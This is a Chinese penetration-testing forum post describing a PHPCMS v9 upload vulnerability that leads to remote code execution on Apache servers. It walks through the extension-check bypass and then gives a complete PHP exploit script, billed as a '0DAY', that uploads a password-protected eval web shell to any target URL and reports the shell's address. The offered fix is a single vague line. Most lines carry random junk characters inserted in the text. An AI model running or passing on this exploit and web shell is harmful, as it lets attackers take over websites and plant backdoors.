中国网络渗透测试联盟

标题: PHPCMS v9 Getshell [打印本页]

作者: admin    时间: 2013-3-7 13:06
标题: PHPCMS v9 Getshell
漏洞类型: 文件上传导致任意代码执行
' X2 \+ G2 w, X* [' C6 z2 ]2 x) }+ ?# I# j/ i9 e8 O# X8 p
简要描述:9 y- y% R7 @+ w- v
) R1 B0 \' Z; L: h& v% L5 H
phpcms v9 getshell (apache)2 ^* m+ A, q, b. I: E; {( C
详细说明:" T9 @6 m' P$ ^* Y
3 d. H1 y( U/ K+ Z- I
漏洞文件:phpcms\modules\attachment\attachments.php& J% K3 N. W+ F3 q0 f3 }
% Q8 v, H6 g0 e% ?* O: [
public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
$ ^# C9 }7 E% p4 f' S! r  F后缀检测:phpcms\modules\attachment\functions\global.func.php
/ o8 H2 E; U$ z" ~; u/ d8 ]
/ Q- b9 s5 L# j% Z- X6 ~2 Z" D 6 R. s# d' C1 R& Y3 E+ T

1 Q/ B9 A( O. S( S4 ofunction is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  ( S7 V* q; L, z5 m/ E

8 i' z. {5 X1 z+ n* |关键函数:
" k3 D6 E  E8 B4 M
, h. U( }4 i7 j, X0 S: M% C
& ^% Y/ u' c- _0 e' \" l; j) P( V" I6 O: D: S" Y+ J& |
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  4 @) N# v" V' i6 G: D
/ r9 M9 S1 G; O3 d! T, K+ M
  Fileext函数是对文件后缀名的提取。
  U% S" M! q6 ^6 ~$ d( }根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
' ^- d& _+ R+ {* {2 [/ Q! t经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。5 u$ O7 t  R2 w" b  ?
我们回到public function crop_upload() 函数中; [" ]8 g5 t  j/ y- {& s& s9 L
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
$ A  e/ S/ e# u( u" l, |在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数; i9 g& f7 i; `- S% B) O
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
7 `; z, U+ }+ S经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。" [' t3 ]5 k2 A+ G
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。' z/ q. g; {9 m5 o4 ^/ I
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。1 l6 q: m! W. D3 N
漏洞证明:
7 Y8 C2 E- G. X+ R
0 a9 v- L- s" @4 b. iexp:2 g7 ~! {1 w4 Z6 p: }' M
- v4 e, O" }1 e+ V/ G
<?php
7 `& T2 K8 c# L8 m& x2 L" ierror_reporting(E_ERROR);2 t6 V  b3 N$ o
set_time_limit(0);8 L5 Q+ [( T# d' N
$pass="ln";
  O& X# K9 V* Y: _: T9 V! ~2 l; V6 aprint_r('* G: ~2 m& L" I- |9 j8 B) L
+---------------------------------------------------------------------------+
8 t( O0 B$ L+ q' r3 g' d9 wPHPCms V9 GETSHELL 0DAY
5 G/ C  f  [9 ]# Zcode by L.N.( a3 t1 j. g; w. P3 ^! \

  |$ [) D2 Z) f2 J# B3 b9 Yapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
- n9 p% h+ l0 W* T6 k+---------------------------------------------------------------------------+
4 M) Z8 @8 p5 Q" V7 S');+ I- h  c# R% M, O* d. _: R2 {
if ($argc < 2) {- T8 N$ W  l- y; Z3 T/ T
print_r('5 D7 o6 C" v9 U
+---------------------------------------------------------------------------+
* g: u& Y) Q" O) lUsage: php '.$argv[0].' url path
% A* h" D% B' R( R
/ D8 ^9 \  O" ~' G7 O* }0 QExample:- r# p; [$ e7 T0 \2 v! H! X
1.php '.$argv[0].' lanu.sinaapp.com/ M& |9 ]& Y/ f+ W4 B6 H' y) h3 }% j
2.php '.$argv[0].' lanu.sinaapp.com /phpcms* r* g# _5 v7 E/ k
+---------------------------------------------------------------------------+
' Y/ W5 x1 y! g  j');
& l7 D0 i$ D6 A; ]! V+ pexit;5 s# q+ d2 O* U% H; S8 s
}$ r+ g+ Z8 @$ T# f+ o

) o9 ^4 M9 a0 [" o& {6 @8 T$url = $argv[1];) P+ E3 z+ w6 v
$path = $argv[2];
7 o! S9 Z" B- D9 i0 K3 B0 Z$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';& _/ |" M9 X3 F- S( A* x  a7 L
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
+ {2 O: p( B! B; q7 Q( o, hif($ret=Create_dir($url,$path))1 u0 }; }- F# f6 F6 K8 K
{7 |" e' e0 U( H- v% `4 O1 ^+ @
//echo $ret;
# B) D) u  u/ s8 Z$pattern = "|Server:[^,]+?|U";. S9 @2 n# n! H. F; i2 d  F
preg_match_all($pattern, $ret, $matches);
' o* m$ C: V. f- bif($matches[0][0])
$ n6 ^4 l; N9 T+ j5 X{% T2 o, K$ O! m6 u
if(strpos($matches[0][0],'Apache') == false)% _/ g' c% @. x* m9 T& ^' @
{$ q4 Y  z3 Q; |! m' v2 z9 O
echo "\n亲!此网站不是apache的网站。\n";exit;
$ g; u/ {! K0 }0 {( L% f}! n8 I. ~( A( ]' G' Y
}5 l' f& ?6 C1 q' R0 Z+ |: O! J
$ret = GetShell($url,$phpshell,$path,$file);3 O- g; ]2 d( a1 Q% }
$pattern = "|http:\/\/[^,]+?\.,?|U";
$ M2 ^; q0 d2 w. S, t  Fpreg_match_all($pattern, $ret, $matches);! j( Z- s4 j, x# m2 f8 T
if($matches[0][0])2 ?! n  j0 L* B7 v6 d. m9 m1 c2 A
{
8 C" i. N; @# s- hecho "\n".'密码为: '.$pass."\n";
+ t2 w, {0 Q$ ?echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
5 Y1 p" Y* J; E# F" n}
3 E7 c: o5 ?0 ~0 ielse' b" D" r2 P) m7 U- U% Z1 x$ r5 H* E
{+ V6 T6 H$ X  t7 h6 Y* e
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";9 ?* j& T3 G- g! D  i
preg_match_all($pattern, $ret, $matches);6 A& i/ T1 ~* N9 v2 E
if($matches[0][0])3 X/ C5 U. z/ I' U9 |  n& T
{
+ a' B  X0 Y- l8 ]" decho "\n".'密码为: '.$pass."\n";
0 X2 Y4 y2 w* n) R9 |1 Qecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;, c* B% T; u  P! u9 U
}
$ f3 L: q+ e# J* L$ S$ m4 p: M) Belse; }. R/ M% T* n) K. n% r
{) E. f' N, p$ \" V  m* _5 g
echo "\r\n没得到!\n";exit;( D3 F+ l/ C$ t8 i9 W
}2 j0 F/ G# s0 E( E
}
" R0 E  B% `, o3 n+ y; z}8 [* s/ {& G) }! F- X. s

1 z: S/ n0 ~  G( g5 c; E: Zfunction GetShell($url,$shell,$path,$js)
( v) v/ R) N6 U' q/ Z{9 e6 T% r, }0 V6 `$ H( b: A7 s
$content =$shell;
9 L5 y, ^+ ]! U$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";5 N, q( V7 K; ?& _
$data .= "Host: ".$url."\r\n";+ P  e* O$ Z) A% s
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";( ]2 v% Q+ K) b; v9 `5 z
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";2 S7 a! f1 T1 P0 H$ J
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";+ ?  {- t  T  z; \4 B: l
$data .= "Connection: close\r\n";0 p% k9 V( l9 M
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$ n& Z/ Q$ r( ?( P9 u$data .= $content."\r\n";
6 J* o: A% t( c$ock=fsockopen($url,80);
) _* f9 S9 u* c+ Aif (!$ock)
& a$ a& g4 E0 l3 H2 X{2 r1 {1 g8 `6 ?4 r6 P. w2 \/ ~
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;" W2 h% z: S0 f: _" p! b
}
) T4 P9 x& C5 |& M- I- k1 yelse- t8 a8 {" K, o1 {8 S( i4 ?1 d
{
1 L4 T0 Y7 I0 \6 z4 I( T& Wfwrite($ock,$data);
) ?4 B1 _4 G( m: I9 A& t$resp = '';
: G) \" }1 J+ O! }2 i2 Swhile (!feof($ock))- }; J  [9 @4 @4 H$ b% c4 _
{
& D1 x. r% g2 U: t) Z. Q" U8 e, e$resp.=fread($ock, 1024);5 |3 s, C& Z8 E# O# ?
}4 W1 j8 D* g: K: r5 V9 Z
return $resp;
) Q6 k/ C: V( P$ i; c}3 J# M' R' u+ \3 O
}  {0 o' p% h, N5 R

, |1 c% W. m4 X- x7 B5 n, mfunction Create_dir($url,$path='')
( p* F. @0 g* h- |3 L: R4 x{4 D+ b" I: ]7 }  a* `! N5 S
$content ='I love you';
6 k2 `% m. I2 `6 ~# ?" V  t7 S$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
7 F( h* N4 c( Z& E& o0 w$data .= "Host: ".$url."\r\n";
2 u" a! H( o0 q+ M5 f$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";; N3 r" T) Q" J' ~  M, G  a% a
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";  W  O: |; T. k  m& p
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";+ E3 J! l; u6 w( j- B
$data .= "Connection: close\r\n";
% ]( R0 e, r, [; ^, V+ b$data .= "Content-Length: ".strlen($content)."\r\n\r\n";7 p( |' G' N: F# ?$ @
$data .= $content."\r\n";2 ~$ e; x3 q$ n9 s
$ock=fsockopen($url,80);
+ h* k+ [) }. S9 j; pif (!$ock)  ^$ Z7 M4 c4 L( q" i$ d1 A. u+ Y
{
7 [/ {7 k' F* Secho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;+ E8 o2 \* |2 O5 M
}
( C' }5 m8 j/ dfwrite($ock,$data);2 }  ~) @' C" Q1 D6 b
$resp = '';
/ y3 C" K. S: X3 @8 i( J8 @% zwhile (!feof($ock))
- }: |  B9 K$ f& B+ L{
0 _- j# Y+ J% d$resp.=fread($ock, 1024);& |) h" M) I. M0 O5 P) c/ D  W
}
  L: _: b3 V! R4 e/ B$ Greturn $resp;7 e) x: O. w3 s# j+ t  B
}
* {; }0 x7 O! I/ }" `?> 0 {" k! r/ a) m

, Q" o6 m0 O( S5 a- ]修复方案:/ z2 x/ |# Y: R0 H
8 ^, h7 O( U9 y. n( q
过滤过滤再过滤: e# g$ O! x8 ]% K" E$ d9 k. ]

" W; A3 N' N; A




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2